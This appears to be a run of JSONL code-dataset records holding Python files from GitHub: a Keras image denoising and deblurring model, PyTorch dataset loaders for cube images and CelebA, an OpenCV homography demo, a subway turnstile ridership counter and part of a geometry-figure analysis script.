restaurant_id=5)\nsession.add(item5)\nsession.commit()\n\n\n\n","repo_name":"DYLANSABIITI/restaurant","sub_path":"db.py","file_name":"db.py","file_ext":"py","file_size_in_byte":2329,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"13279239207","text":"from sol5_utils import *\nimport numpy as np\nfrom scipy.misc import imread as imread\nfrom skimage.color import rgb2gray\nfrom scipy.ndimage.filters import convolve\nfrom keras.models import Model\nfrom keras.layers import Input, Convolution2D, Activation, merge\nfrom keras.optimizers import Adam\n\nGRAY_REP = 1\nRGB_REP = 2\n\nSUB_VALUE = .5\nGRAY_CHANNEL = 1\nCONV_SIZE = (3, 3)\nTRAIN_DATA_SIZE = .8\n\nMIN_INTENS = np.float32(0.0)\nMAX_INTENS = np.float32(1.0)\n\nNUMBER_RES_BLOCKS = 5\n\nL_INTESITY = np.float32(255)\n\n\ndef im_to_float(image):\n \"\"\"\n Convert image to float32 values between [0,1]\n \"\"\"\n return image.astype(np.float32) / L_INTESITY\n\n\ndef read_image(filename, representation):\n \"\"\"\n The function that reads a given image file and converts it into a given representation.\n :param - filename - string containing the image filename to read.\n :param - representation - representation code, either 1 or 2\n defining if the output should be either a grayscale OR RGB image respectively\n :return - The new image.\n \"\"\"\n try:\n im = imread(filename)\n\n if representation == GRAY_REP:\n return rgb2gray(im).astype(np.float32)\n\n return im_to_float(im)\n\n except:\n print(\"Cant read the image\")\n exit(-1)\n\n\n# ===================== Load data sets =============================\n\n\ndef load_dataset(filenames, batch_size, corruption_func, crop_size):\n \"\"\"\n\n :param filenames: A list of filenames of clean images.\n :param batch_size: The size of the batch of images for each iteration of Stochastic Gradient Descent.\n :param corruption_func: A function receiving a numpy’s array representation of an image as a single argument,\n and returns a randomly corrupted version of the input image.\n :param crop_size: A tuple (height, width) specifying the crop size of the patches to extract.\n :return: Python’s generator object which outputs random tuples of the form\n (source_batch, target_batch)\n \"\"\"\n height_patch, width_patch = crop_size\n source_batch, target_batch = [np.empty((batch_size, GRAY_CHANNEL, height_patch, width_patch), dtype=np.float32)]*2\n\n def extract_random_patch(im, corrupted_im, im_shape):\n row, col = np.random.randint(0, im_shape[0] - height_patch), \\\n np.random.randint(0, im_shape[1] - width_patch)\n\n def extract_im(image):\n return np.copy(image[row:row+height_patch, col:col+width_patch] - [SUB_VALUE])\n return extract_im(corrupted_im), extract_im(im)\n\n def gen_dataset():\n\n images_cache = {}\n while True:\n for i in range(batch_size):\n picked_im_path = random.choice(filenames)\n picked_im = images_cache.setdefault(picked_im_path, read_image(picked_im_path, GRAY_REP))\n corrupted_im = corruption_func(picked_im)\n shape_im = picked_im.shape\n source_batch[i,0], target_batch[i,0] = extract_random_patch(corrupted_im, picked_im, shape_im)\n\n yield source_batch, target_batch\n\n return gen_dataset()\n\n\n# ===================== Build the model =============================\n\ndef convolution_layer(input_ten, num_channels):\n return Convolution2D(num_channels, CONV_SIZE[0], CONV_SIZE[1], border_mode='same')(input_ten)\n\n\ndef resblock(input_tensor, num_channels):\n \"\"\"\n function takes as input a symbolic input tensor and the number of channels for each of its\n convolutional layers, and returns the symbolic output tensor of the layer configuration\n :param input_tensor: a symbolic input tensor\n :param num_channels: number of channels for each of its convolutional layers\n :return: returns the symbolic output tensor of the layer configuration\n \"\"\"\n\n output_tensor = convolution_layer(input_tensor, num_channels)\n output_tensor = Activation('relu')(output_tensor)\n output_tensor = convolution_layer(output_tensor, num_channels)\n output_tensor = merge([input_tensor, output_tensor], mode='sum')\n return output_tensor\n\n\ndef build_nn_model(height, width, num_channels):\n \"\"\"\n\n :param height: height,\n :param width: width\n :param num_channels: number of output channels except the very last convolutional layer\n which should have a single output channel.\n :return: untrained Keras model\n \"\"\"\n input_tensor = Input(shape=(GRAY_CHANNEL, height, width))\n middle_tensor = convolution_layer(input_tensor, num_channels)\n middle_tensor = Activation('relu')(middle_tensor)\n\n in_block_tensor, out_block_tensor = [middle_tensor]*2\n for i in range(NUMBER_RES_BLOCKS):\n out_block_tensor = resblock(in_block_tensor, num_channels)\n in_block_tensor = out_block_tensor\n\n output_tensor = merge([middle_tensor, out_block_tensor], mode='sum')\n output_tensor = convolution_layer(output_tensor, GRAY_CHANNEL)\n\n return Model(input=input_tensor, output=output_tensor)\n\n# ===================== Training the model =============================\n\ndef train_model(model, images, corruption_func, batch_size, samples_per_epoch, num_epochs, num_valid_samples):\n \"\"\"\n\n :param model: a general neural network model for image restoration.\n :param images: a list of file paths pointing to image files. You should assume these paths are complete, and\n should append anything to them.\n :param corruption_func:\n :param batch_size: the size of the batch of examples for each iteration of SGD.\n :param samples_per_epoch: The number of samples in each epoch (actual samples, not batches!).\n :param num_epochs: The number of epochs for which the optimization will run.\n :param num_valid_samples: The number of samples in the validation set to test on after every epoch.\n :return:\n \"\"\"\n N = np.int(len(images)*0.8)\n train_date, validation_data = images[:N], images[N:]\n\n crop_size = model.input_shape[2:]\n\n def call_load_dataset(data):\n return load_dataset(data, batch_size, corruption_func, crop_size)\n\n train_gen, valid_gen = call_load_dataset(train_date), call_load_dataset(validation_data)\n\n model.compile(loss='mean_squared_error', optimizer=Adam(beta_2=0.9))\n\n model.fit_generator(train_gen, samples_per_epoch=samples_per_epoch, nb_epoch=num_epochs,\n validation_data=valid_gen, nb_val_samples=num_valid_samples)\n\n# ===================== Image restoration =============================\n\ndef restore_image(corrupted_image, base_model, num_channels):\n \"\"\"\n\n :param corrupted_image: a grayscale image of shape (height, width) and with values in the [0, 1] range of\n type float32 that is affected by a corruption generated\n from the same corruption function encountered during training\n :param base_model: a neural network trained to restore small patches The input and output of the network are\n images with values in the [−0.5, 0.5] range\n :param num_channels: the number of channels used in the base model. Use it to construct the larger model.\n :return:\n \"\"\"\n\n height, width = corrupted_image.shape\n new_model = build_nn_model(height, width, num_channels)\n\n new_model.set_weights(base_model.get_weights())\n\n corrupted_image = corrupted_image.reshape((GRAY_CHANNEL, height, width))\n restored_image = new_model.predict(corrupted_image[np.newaxis,...] - [SUB_VALUE])[0] + [SUB_VALUE]\n\n return np.clip(restored_image, a_min=MIN_INTENS, a_max=MAX_INTENS).reshape(height, width).astype(np.float32)\n\n# ===================== Application restoration =============================\n\n\n# ============= Image denoising ================\n\ndef add_gaussian_noise(image, min_sigma, max_sigma):\n \"\"\"\n\n :param image: a grayscale image with values in the [0, 1] range of type float32.\n :param min_sigma: a non-negative scalar value representing the minimal variance of the gaussian distribution.\n :param max_sigma: a non-negative scalar value larger than or equal to min_sigma, representing the maximal\n variance of the gaussian distribution\n :return:\n \"\"\"\n\n sigma = float(np.random.uniform(low=min_sigma, high=max_sigma))\n random_variable = np.random.normal(scale=sigma, size=image.shape)\n\n return np.clip(image + random_variable, a_min=MIN_INTENS, a_max=MAX_INTENS).astype(np.float32)\n\n\ndef get_configurations(quick_mode, isBlur):\n\n if isBlur:\n num_epochs = 10\n else:\n num_epochs = 5\n\n if quick_mode:\n batch_size, samples_per_epoch, num_epochs, samples_for_val = 10, 30, 2, 30\n else:\n batch_size, samples_per_epoch, num_epochs, samples_for_val = 100, 10000, num_epochs, 1000\n\n return batch_size, samples_per_epoch, num_epochs, samples_for_val\n\n\ndef learn_denoising_model(quick_mode=False):\n \"\"\"\n should train a network which expect patches of size 24×24, using 48 channels for all but the last layer.\n :param quick_mode: If quick_mode equals True, instead of the above\n arguments, use only 10 images in a batch, 30 samples per epoch, just 2 epochs and only 30\n samples for the validation set. else, use 100 images in a batch, 10000 samples per epoch,\n 5 epochs overall and 1000 samples for testing on the validation set.\n :return: model, number_channels\n \"\"\"\n\n crop_size, number_channels = (24,24), 48\n\n batch_size, samples_per_epoch, num_epochs, samples_for_val = get_configurations(quick_mode, isBlur=False)\n images = images_for_denoising()\n model = build_nn_model(crop_size[0], crop_size[1], number_channels)\n\n train_model(model, images, lambda im: add_gaussian_noise(im, 0.0, 0.2), batch_size, samples_per_epoch,\n num_epochs, samples_for_val)\n\n return model, number_channels\n\n\n# ============= Image deblurring ================\n\ndef add_motion_blur(image, kernel_size, angle):\n \"\"\"\n simulate motion blur on the given image\n :param image: a grayscale image with values in the [0, 1] range of type float32.\n :param kernel_size: square kernel of size\n :param angle: an angle in radians in the range [0, π).\n :return: blurred image\n \"\"\"\n blur_kernel = motion_blur_kernel(kernel_size, angle)\n motion_blur_image = convolve(image, blur_kernel).astype(np.float32)\n\n return motion_blur_image\n\n\ndef random_motion_blur(image, list_of_kernel_sizes):\n \"\"\"\n :param image: a grayscale image with values in the [0, 1] range of type float32.\n :param list_of_kernel_sizes: a list of odd integers.\n :return:\n \"\"\"\n angle, kernel_size = np.random.uniform(0, np.pi), random.choice(list_of_kernel_sizes)\n\n return add_motion_blur(image, kernel_size, angle)\n\n\ndef learn_deblurring_model(quick_mode=False):\n \"\"\"\n should train a network which expect patches of size 16×16, and have 32 channels in all layers except the last.\n :param quick_mode: If quick_mode equals True, instead of the above arguments, use only 10 images in a batch,\n 30 samples per epoch, just 2 epochs and only 30 samples for the validation set.\n else. 100 images in a batch, 10000 samples per epoch, 10 epochs overall and 1000\n samples for testing on the validation set.\n :return: model, number_channels\n \"\"\"\n crop_size, number_channels = (16,16), 32\n\n batch_size, samples_per_epoch, num_epochs, samples_for_val = get_configurations(quick_mode, isBlur=True)\n\n images = images_for_deblurring()\n\n model = build_nn_model(crop_size[0], crop_size[1], number_channels)\n\n train_model(model, images, lambda im: random_motion_blur(im, [7]), batch_size, samples_per_epoch,\n num_epochs, samples_for_val)\n\n return model, number_channels\n","repo_name":"Yoni-Mantzur/University-Projects","sub_path":"Image Processing/sol5/sol5.py","file_name":"sol5.py","file_ext":"py","file_size_in_byte":11847,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"32293012025","text":"from tensorflow.python.platform import flags\nfrom tensorflow.contrib.data.python.ops import batching, threadpool\nimport tensorflow as tf\nimport json\nfrom torch.utils.data import Dataset\nimport pickle\nimport os.path as osp\nimport os\nimport numpy as np\nimport time\nimport pandas as pd\nfrom scipy.misc import imread, imresize\nfrom skimage.color import rgb2grey\nfrom torchvision.datasets import CIFAR10, MNIST, SVHN, CIFAR100, ImageFolder\nfrom torchvision import transforms\nimport torch\nimport torchvision\nfrom itertools import product\nimport random\n\nFLAGS = flags.FLAGS\n\n# Dataset Options\nflags.DEFINE_string('dsprites_path',\n '/root/data/dsprites-dataset/dsprites_ndarray_co1sh3sc6or40x32y32_64x64.npz',\n 'path to dsprites characters')\nflags.DEFINE_string('imagenet_datadir', '/root/imagenet_big', 'whether cutoff should always in image')\nflags.DEFINE_bool('dshape_only', False, 'fix all factors except for shapes')\nflags.DEFINE_bool('dpos_only', False, 'fix all factors except for positions of shapes')\nflags.DEFINE_bool('dsize_only', False, 'fix all factors except for size of objects')\nflags.DEFINE_bool('drot_only', False, 'fix all factors except for rotation of objects')\nflags.DEFINE_bool('dsprites_restrict', False, 'fix all factors except for rotation of objects')\nflags.DEFINE_string('imagenet_path', '/root/imagenet', 'path to imagenet images')\nflags.DEFINE_string('cubes_path', 'cubes_varied_junk_801_different.npz', 'path to cube dataset')\n\n# Data augmentation options\nflags.DEFINE_bool('cutout_inside', False, 'whether cutoff should always in image')\nflags.DEFINE_float('cutout_prob', 1.0, 'probability of using cutout')\nflags.DEFINE_integer('cutout_mask_size', 16, 'size of cutout')\nflags.DEFINE_bool('cutout', False, 'whether to add cutout regularizer to data')\n\n# Custom pair hyperparameters\nflags.DEFINE_integer('pair_cond_shape', -1,\n 'Only use a particular shape to train energy based models (-1 uses all shape)')\n\n\ndef cutout(mask_color=(0, 0, 0)):\n mask_size_half = FLAGS.cutout_mask_size // 2\n offset = 1 if FLAGS.cutout_mask_size % 2 == 0 else 0\n\n def _cutout(image):\n image = np.asarray(image).copy()\n\n if np.random.random() > FLAGS.cutout_prob:\n return image\n\n h, w = image.shape[:2]\n\n if FLAGS.cutout_inside:\n cxmin, cxmax = mask_size_half, w + offset - mask_size_half\n cymin, cymax = mask_size_half, h + offset - mask_size_half\n else:\n cxmin, cxmax = 0, w + offset\n cymin, cymax = 0, h + offset\n\n cx = np.random.randint(cxmin, cxmax)\n cy = np.random.randint(cymin, cymax)\n xmin = cx - mask_size_half\n ymin = cy - mask_size_half\n xmax = xmin + FLAGS.cutout_mask_size\n ymax = ymin + FLAGS.cutout_mask_size\n xmin = max(0, xmin)\n ymin = max(0, ymin)\n xmax = min(w, xmax)\n ymax = min(h, ymax)\n image[:, ymin:ymax, xmin:xmax] = np.array(mask_color)[:, None, None]\n return image\n\n return _cutout\n\n\nclass Cubes(Dataset):\n def __init__(self, cond_idx=-1):\n dat = np.load(\"cubes_general.npz\")\n self.data = dat['ims']\n self.label = dat['labels']\n self.cond_idx = cond_idx\n\n def __len__(self):\n return self.data.shape[0]\n\n def __getitem__(self, index):\n cond_idx = self.cond_idx\n im = self.data[index] / 255.\n\n if self.cond_idx == 0:\n # If 0 then is position\n label = self.label[index, :2]\n elif self.cond_idx == 1:\n # If 1 then is size\n label = self.label[index, 2:3]\n elif self.cond_idx == 2:\n # If 2 then is shape\n label = np.eye(3)[self.label[index, 3].astype(np.int32)]\n elif self.cond_idx == 3:\n # if 3 then is color\n label = np.eye(20)[self.label[index, 4].astype(np.int32)]\n\n image_size = 64\n\n if FLAGS.datasource == 'default':\n im_corrupt = im + 0.3 * np.random.randn(image_size, image_size, 3)\n elif FLAGS.datasource == 'random':\n im_corrupt = 0.5 + 0.5 * np.random.randn(image_size, image_size, 3)\n\n return im_corrupt, im, label\n\n\nclass CubesPos(Dataset):\n def __init__(self):\n dat = np.load(\"cubes_position.npz\")\n self.data = dat['ims']\n self.label = dat['labels']\n\n def __len__(self):\n return self.data.shape[0]\n\n def __getitem__(self, index):\n im = self.data[index] / 255.\n label = self.label[index]\n\n image_size = 64\n\n if FLAGS.datasource == 'default':\n im_corrupt = im + 0.3 * np.random.randn(image_size, image_size, 3)\n elif FLAGS.datasource == 'random':\n im_corrupt = 0.5 + 0.5 * np.random.randn(image_size, image_size, 3)\n\n return im_corrupt, im, label\n\n\nclass CubesColor(Dataset):\n def __init__(self):\n dat = np.load(\"cubes_color.npz\")\n self.data = dat['ims']\n self.label = dat['labels']\n self.eye = np.eye(301)\n\n def __len__(self):\n return self.data.shape[0]\n\n def __getitem__(self, index):\n im = self.data[index] / 255.\n\n label = self.eye[int(self.label[index])]\n image_size = 64\n\n if FLAGS.datasource == 'default':\n im_corrupt = im + 0.3 * np.random.randn(image_size, image_size, 3)\n elif FLAGS.datasource == 'random':\n im_corrupt = 0.5 + 0.5 * np.random.randn(image_size, image_size, 3)\n\n return im_corrupt, im, label\n\n\nclass CubesContinual(Dataset):\n def __init__(self):\n dat = np.load(\"cubes_continual.npz\")\n self.data = dat['ims']\n self.label = dat['labels']\n self.color_eye = np.eye(20)\n self.shape_eye = np.eye(2)\n\n if FLAGS.prelearn_model_shape:\n self.stage = 2\n elif FLAGS.prelearn_model:\n self.stage = 1\n else:\n self.stage = 0\n\n # The format of labels will coordinates 0-1 correspond to position, 2 correspond to shape\n # 3 correspond color\n if self.stage == 0:\n # In the first stage have only generate cubes at each possible location\n # mask = (self.label[:, 0] < 0) & (self.label[:, 1] < 0)\n mask = (self.label[:, 2] == 0) & (self.label[:, 3] == 1)\n self.data = self.data[mask]\n self.label = self.label[mask]\n elif self.stage == 1:\n # In the second stage we learn to generate both cubes and colors and every possible location \n # We restrict the mask to only to be cubes a particular quadrant\n # mask = (self.label[:, 2] == 0)\n mask = (self.label[:, 3] == 1)\n self.data = self.data[mask]\n self.label = self.label[mask]\n\n def __len__(self):\n return self.data.shape[0]\n\n def __getitem__(self, index):\n im = self.data[index] / 255.\n\n image_size = 64\n\n if FLAGS.datasource == 'default':\n im_corrupt = im + 0.3 * np.random.randn(image_size, image_size, 3)\n elif FLAGS.datasource == 'random':\n im_corrupt = 0.5 + 0.5 * np.random.randn(image_size, image_size, 3)\n\n if self.stage == 0:\n label_pos = self.label[index, :2]\n label = label_pos\n elif self.stage == 1:\n label_shape = self.shape_eye[int(self.label[index, 2])]\n label_pos = self.label[index, :2]\n\n label = (label_shape, label_shape, label_pos)\n elif self.stage == 2:\n label_color = self.color_eye[int(self.label[index, 3])]\n label_shape = self.shape_eye[int(self.label[index, 2])]\n label_pos = self.label[index, :2]\n\n label = (label_color, label_color, label_shape, label_pos)\n\n return im_corrupt, im, label\n\n\nclass CubesCrossProduct(Dataset):\n def __init__(self, ratio, cond_size=False, cond_pos=False, joint_baseline=False, inversion=False):\n dat = np.load(\"joint.npz\")\n self.data = dat['ims']\n self.label = dat['labels']\n\n # Make sure different dual runs don't get different masks of objects\n np.random.seed(0)\n random.seed(0)\n\n sizes = np.unique(self.label[:, 2])\n x_vals = np.unique(self.label[:, 0])\n y_vals = np.unique(self.label[:, 1])\n total_list = list(product(x_vals, y_vals))\n # random.shuffle(total_list)\n\n if ratio != 1.0:\n stop_idx = int(ratio * len(total_list)) + 1\n select_idx = total_list[:stop_idx]\n reject_idx = total_list[stop_idx:]\n data_list = []\n label_list = []\n\n if not inversion:\n for tup in select_idx:\n x, y = tup\n mask = (self.label[:, 0] == x) & (self.label[:, 1] == y)\n\n if not cond_pos:\n data_list.append(self.data[mask])\n label_list.append(self.label[mask])\n else:\n mask = (self.label[:, 0] == x) & (self.label[:, 1] == y) & (self.label[:, 2] == 1.2)\n data_list.append(self.data[mask])\n label_list.append(self.label[mask])\n\n for tup in reject_idx:\n x, y = tup\n\n if not inversion:\n mask = (self.label[:, 2] == 1.2) & (self.label[:, 0] == x) & (self.label[:, 1] == y)\n else:\n mask = (self.label[:, 2] != 1.2) & (self.label[:, 0] == x) & (self.label[:, 1] == y)\n\n if not cond_size:\n data_list.append(self.data[mask])\n label_list.append(self.label[mask])\n\n self.data = np.concatenate(data_list, axis=0)\n self.label = np.concatenate(label_list, axis=0)\n\n self.cond_size = cond_size\n self.cond_pos = cond_pos\n self.joint_baseline = joint_baseline\n\n def __len__(self):\n return self.data.shape[0]\n\n def __getitem__(self, index):\n im = self.data[index] / 255.\n\n image_size = 64\n\n if FLAGS.datasource == 'default':\n im_corrupt = im + 0.3 * np.random.randn(image_size, image_size, 3)\n elif FLAGS.datasource == 'random':\n im_corrupt = 0.5 + 0.5 * np.random.randn(image_size, image_size, 3)\n\n if self.cond_size:\n label = self.label[index, 2:3]\n elif self.cond_pos:\n label = self.label[index, :2]\n\n if self.joint_baseline:\n label = np.concatenate([self.label[index, 2:3], self.label[index, :2]])\n\n return im_corrupt, im, label\n\n\n'''class CelebA(Dataset):\n\n def __init__(self):\n self.path = \"/root/data/img_align_celeba\"\n self.ims = os.listdir(self.path)\n self.ims = [osp.join(self.path, im) for im in self.ims]\n\n def __len__(self):\n return len(self.ims)\n\n def __getitem__(self, index):\n label = 1\n\n if FLAGS.single:\n index = 0\n\n path = self.ims[index]\n im = imread(path)\n im = imresize(im, (32, 32))\n image_size = 32\n im = im / 255.\n\n if FLAGS.datasource == 'default':\n im_corrupt = im + 0.3 * np.random.randn(image_size, image_size, 3)\n elif FLAGS.datasource == 'random':\n im_corrupt = np.random.uniform(\n 0, 1, size=(image_size, image_size, 3))\n\n return im_corrupt, im, label'''\n\n\nclass CelebA(Dataset):\n\n def __init__(self, cond_idx=1, filter_idx=0):\n self.path = os.path.join(\"CelebA\", \"img_align_celeba\")\n self.labels = pd.read_csv(\"list_attr_celeba.txt\", sep=\"\\s+\", skiprows=1)\n self.cond_idx = cond_idx\n self.filter_idx = filter_idx\n\n if filter_idx != 0:\n mask = (self.labels.to_numpy()[:, self.cond_idx] == filter_idx)\n self.labels = self.labels[mask].reset_index()\n\n def __len__(self):\n return self.labels.shape[0]\n\n def __getitem__(self, index):\n\n if FLAGS.single:\n index = 0\n\n info = self.labels.iloc[index]\n if self.filter_idx != 0:\n fname = info['index']\n else:\n fname = info.name\n path = osp.join(self.path, fname)\n im = imread(path)\n im = imresize(im, (128, 128))\n image_size = 128\n im = im / 255.\n\n label = int(info.iloc[self.cond_idx])\n if label == -1:\n label = 0\n label = np.eye(2)[label]\n\n if FLAGS.datasource == 'default':\n im_corrupt = im + 0.3 * np.random.randn(image_size, image_size, 3)\n elif FLAGS.datasource == 'random':\n im_corrupt = np.random.uniform(\n 0, 1, size=(image_size, image_size, 3))\n\n return im_corrupt, im, label\n","repo_name":"Henri-Laiho/ICNS-generative-models-for-brains","sub_path":"compositionality_code/data.py","file_name":"data.py","file_ext":"py","file_size_in_byte":12765,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"} +{"seq_id":"38196230473","text":"# File: homography_book.py\n# https://github.com/spmallick/learnopencv/blob/master/Homography/homography_book.py\n\n# Align 2 books\n\nimport cv2 as cv\nimport numpy as np\n\n# Read source image.\nim_src = cv.imread('../images/book2.jpg')\n# Four corners of the book in source image\npts_src = np.array([[141, 131], [480, 159], [493, 630], [64, 601]], dtype=float)\n\n# Read destination image.\nim_dst = cv.imread('../images/book1.jpg')\n# Four corners of the book in destination image.\npts_dst = np.array([[318, 256], [534, 372], [316, 670], [73, 473]], dtype=float)\n\n# Calculate Homography\nh, status = cv.findHomography(pts_src, pts_dst)\n\n# Warp source image to destination based on homography\nim_out = cv.warpPerspective(im_src, h, dsize=(im_dst.shape[1], im_dst.shape[0]))\n\n# Display images\ncv.imshow(\"Source Image\", im_src)\ncv.imshow(\"Destination Image\", im_dst)\ncv.imshow(\"Warped Source Image\", im_out)\n\ncv.waitKey(0)\n","repo_name":"hvilla17/DIP-Unison","sub_path":"image_feature/homography_book.py","file_name":"homography_book.py","file_ext":"py","file_size_in_byte":909,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"23401811339","text":"\"\"\"\r\n Name: Xiuyi Feng\r\n Email: xiuyi.feng15@myhunter.cuny.edu\r\n Resources: geeksforgeeks.org for min.() and max.() format\r\n Think CS Chapter 12 for dictionary contents\r\n\"\"\"\r\nimport os\r\n\r\ndef make_dictionary(data, kind = \"min\"):\r\n \"\"\"\r\n Creating a dictionary with a key of the remote unit ID + turnstile unit number.\r\n Depending on kind, the resulting dictionary will store the minimum entry\r\n number seen (as an integer), the maximum entry number seen (as an integer),\r\n or the station name (as a string).\r\n Returns the resulting dictionary.\r\n\r\n Keyword arguments:\r\n kind -- kind of dictionary to be created: min, max, station\r\n \"\"\"\r\n\r\n #Placeholder-- replace with your code\r\n new_dict = {}\r\n for line in data:\r\n words=line[:-1].split(',')\r\n key=words[1]+ \",\"+ words[2]\r\n if kind==\"min\":\r\n if key in new_dict:\r\n new_dict[key]=min(new_dict[key],int(words[-2]))\r\n else:\r\n new_dict[key]=int(words[-2])\r\n elif kind==\"max\":\r\n if key in new_dict:\r\n new_dict[key]=max(new_dict[key],int(words[-2]))\r\n else:\r\n new_dict[key]=int(words[-2])\r\n elif kind==\"station\":\r\n new_dict[key]=words[3]\r\n return new_dict\r\n\r\ndef get_turnstiles(station_dict, stations = None):\r\n \"\"\"\r\n If stations is None, returns the names of all the turnstiles stored as keys\r\n in the inputted dictionary.\r\n If non-null, returns the keys which have value from station in the inputed dictionary.\r\n Returns a list.\r\n\r\n Keyword arguments:\r\n stations -- None or list of station names.\r\n \"\"\"\r\n\r\n #Placeholder-- replace with your code\r\n lst = []\r\n if stations is None:\r\n lst=list(station_dict.keys())\r\n else:\r\n for key in station_dict.keys():\r\n if station_dict[key] in stations:\r\n lst.append(key)\r\n return lst\r\n\r\ndef compute_ridership(min_dict,max_dict,turnstiles = None):\r\n \"\"\"\r\n Takes as input two dictionaries and a list, possibly empty, of turnstiles.\r\n If no value is passed for turnstile, the default value of None is used\r\n (that is, the total ridership for every station in the dictionaries).\r\n Returns the ridership (the difference between the minimum and maximum values)\r\n across all turnstiles specified.\r\n\r\n Keyword arguments:\r\n turnstiles -- None or list of turnstile names\r\n \"\"\"\r\n\r\n #Placeholder-- replace with your code\r\n total = 0\r\n if turnstiles is None:\r\n for key in min_dict.keys():\r\n total+=(max_dict[key]-min_dict[key])\r\n else:\r\n for name in turnstiles:\r\n total+=(max_dict[name]-min_dict[name])\r\n return total\r\n\r\ndef main():\r\n \"\"\"\r\n Opens a data file and computes ridership, using functions above.\r\n \"\"\"\r\n here = os.path.dirname(os.path.abspath(__file__))\r\n file_name = os.path.join(here, 'turnstile_220611.txt')\r\n #file_name = 'turnstile_220611.txt'\r\n #Store the file contents in data:\r\n with open(file_name,encoding='UTF-8') as file_d:\r\n lines = file_d.readlines()\r\n #Discard first line with headers:\r\n data = lines[1:]\r\n\r\n #Set up the three dictionaries:\r\n min_dict = make_dictionary(data, kind = \"min\")\r\n max_dict = make_dictionary(data, kind = \"max\")\r\n station_dict = make_dictionary(data, kind = \"station\")\r\n\r\n #Print out the station names, alphabetically, without duplicates:\r\n print(f'All stations: {sorted(list(set(station_dict.values())))}')\r\n\r\n #All the turnstiles from the data:\r\n print(f'All turnstiles: {get_turnstiles(station_dict)}')\r\n #Only those for Hunter & Roosevelt Island stations:\r\n print(get_turnstiles(station_dict, stations = ['68ST-HUNTER CO','ROOSEVELT ISLND']))\r\n\r\n #Checking the ridership for a single turnstile\r\n ridership = compute_ridership(min_dict,max_dict,turnstiles=[\"R051,02-00-00\"])\r\n print(f'Ridership for turnstile, R051,02-00-00: {ridership}.')\r\n\r\n #Checking the ridership for a station\r\n hunter_turns = get_turnstiles(station_dict, stations = ['68ST-HUNTER CO'])\r\n ridership = compute_ridership(min_dict,max_dict,turnstiles=hunter_turns)\r\n print(f'Ridership for Hunter College: {ridership}.')\r\n\r\nif __name__ == \"__main__\":\r\n main()\r\n","repo_name":"xiuyifeng16/Data-science","sub_path":"make_dictionary.py","file_name":"make_dictionary.py","file_ext":"py","file_size_in_byte":4315,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"71709845176","text":"import itertools as itt\nimport json\nimport math\nfrom matplotlib import pyplot as plt\nfrom matplotlib import ticker as mtick\nimport networkx as nx\nimport numpy as np\nimport scipy\nfrom scipy import stats\nimport pandas as pd\n\nfrom random_face_graph_creator import RandomFaceGraphCreator\nfrom textbook_identifier import TextbookIdentifier\nfrom to_json import ToJson\nfrom face_graphs.face_graph_generator import FaceGraphGenerator\nfrom lattice_generator import LatticeGenerator\nfrom negative_example_generator import NegativeExampleGen\nfrom gcn_graph_classification import GraphClassifier\n\n# Catagory | Textbook | Not-Textbook | Base \n# ==================|==================|==================|==================\n# count | | | \n# | | | \n# | | | \n# mean Edge Degree | | | \n# std Edge Degree | | | \n# max Edge Degree | | | \n# min Edge Degree | | | \n# mean Node Degree | | | \n# std Node Degree | | | \n# max Node Degree | | | \n# min Node Degree | | | \n# mean Edge Count | | | \n# std Edge Count | | | \n# max Edge Count | | | \n# min Edge Count | | | \n# mean Node Count | | | \n# std Node Count | | | \n# max Node Count | | | \n# min Node Count | | | \n\nNUMBER_SHAPE_MAP = {00 : \"Line Segment\",\n 10 : \"Isosceles Right Triangle\",\n 11 : \"Right Triangle\",\n 12 : \"Equilateral Triangle\",\n 13 : \"Isosceles Triangle\",\n 20 : \"Square\",\n 21 : \"Rectangle\",\n 22 : \"Rhombus\",\n 23 : \"Parallelogram\",\n 24 : \"Kite\",\n 25 : \"Right Trapezoid\",\n 26 : \"Isosceles Trapezoid\",\n 27 : \"Dart\",\n 30 : \"Regular Pentagon\",\n 40 : \"Regular Hexagon\",\n 50 : \"Regular Septagon\",\n 60 : \"Regular Octagon\"}\nSHAPE_NUMBER_MAP = {shape : code for code, shape in NUMBER_SHAPE_MAP.items()}\n\nSHAPE = 0\n\nclass Analyzer():\n\n @staticmethod\n def calculate_percents(base_counts, textbook_counts):\n percent_counts = dict.fromkeys(base_counts.keys(), 0)\n\n for key in percent_counts:\n if base_counts[key] != 0:\n percent_counts[key] = float(textbook_counts[key]) / float(base_counts[key])\n else:\n percent_counts[key] = 0\n \n return percent_counts\n\n @staticmethod\n def calculate_shape_parts(textbook_shape_counts, textbook_total):\n part_counts = {name : 0 for name in NUMBER_SHAPE_MAP.values()}\n\n for shape in part_counts:\n part_counts[shape] = float(textbook_shape_counts[shape]) / float(textbook_total)\n\n return part_counts\n \n def calculate_node_parts(textbook_node_counts, textbook_total):\n part_counts = dict.fromkeys(textbook_node_counts, 0)\n\n for count in part_counts:\n part_counts[count] = float(textbook_node_counts[count]) / float(textbook_total)\n\n return part_counts\n\n @staticmethod\n def split_pairs(pairs):\n splits = []\n for pair in pairs:\n splits.append(Analyzer.split_pair(pair))\n return splits\n\n @staticmethod\n def split_pair(pair):\n return tuple(pair.split(\", \"))\n\n @staticmethod\n def merge_pair(shape1, shape2):\n if type(shape1) == str: shape1 = SHAPE_NUMBER_MAP[shape1]\n if type(shape2) == str: shape2 = SHAPE_NUMBER_MAP[shape2]\n \n shape1, shape2 = sorted([shape1, shape2])\n \n shape1 = NUMBER_SHAPE_MAP[shape1]\n shape2 = NUMBER_SHAPE_MAP[shape2]\n \n return shape1 + \", \" + shape2\n\n @staticmethod\n def draw_qq_plots_parts():\n data = Analyzer.read_data(\"Summer-Research-2022/hold\", \"textbook_118.json\")\n positive_shape_counts = Analyzer.calculate_shape_parts(data[\"Textbook\"][\"Shape Counts\"], data[\"Textbook\"][\"Total\"])\n \n data = Analyzer.read_data(\"Summer-Research-2022/hold\", \"data_repeated_100000.json\")\n textbook_shape_percents = Analyzer.calculate_shape_parts(data[\"Textbook\"][\"Shape Counts\"], data[\"Textbook\"][\"Total\"])\n \n pos_shapes = pd.Series(positive_shape_counts.values())\n txt_shapes = pd.Series(textbook_shape_percents.values())\n\n Analyzer.draw_qq_plot_parts(pos_shapes, \"Textbook Shapes per 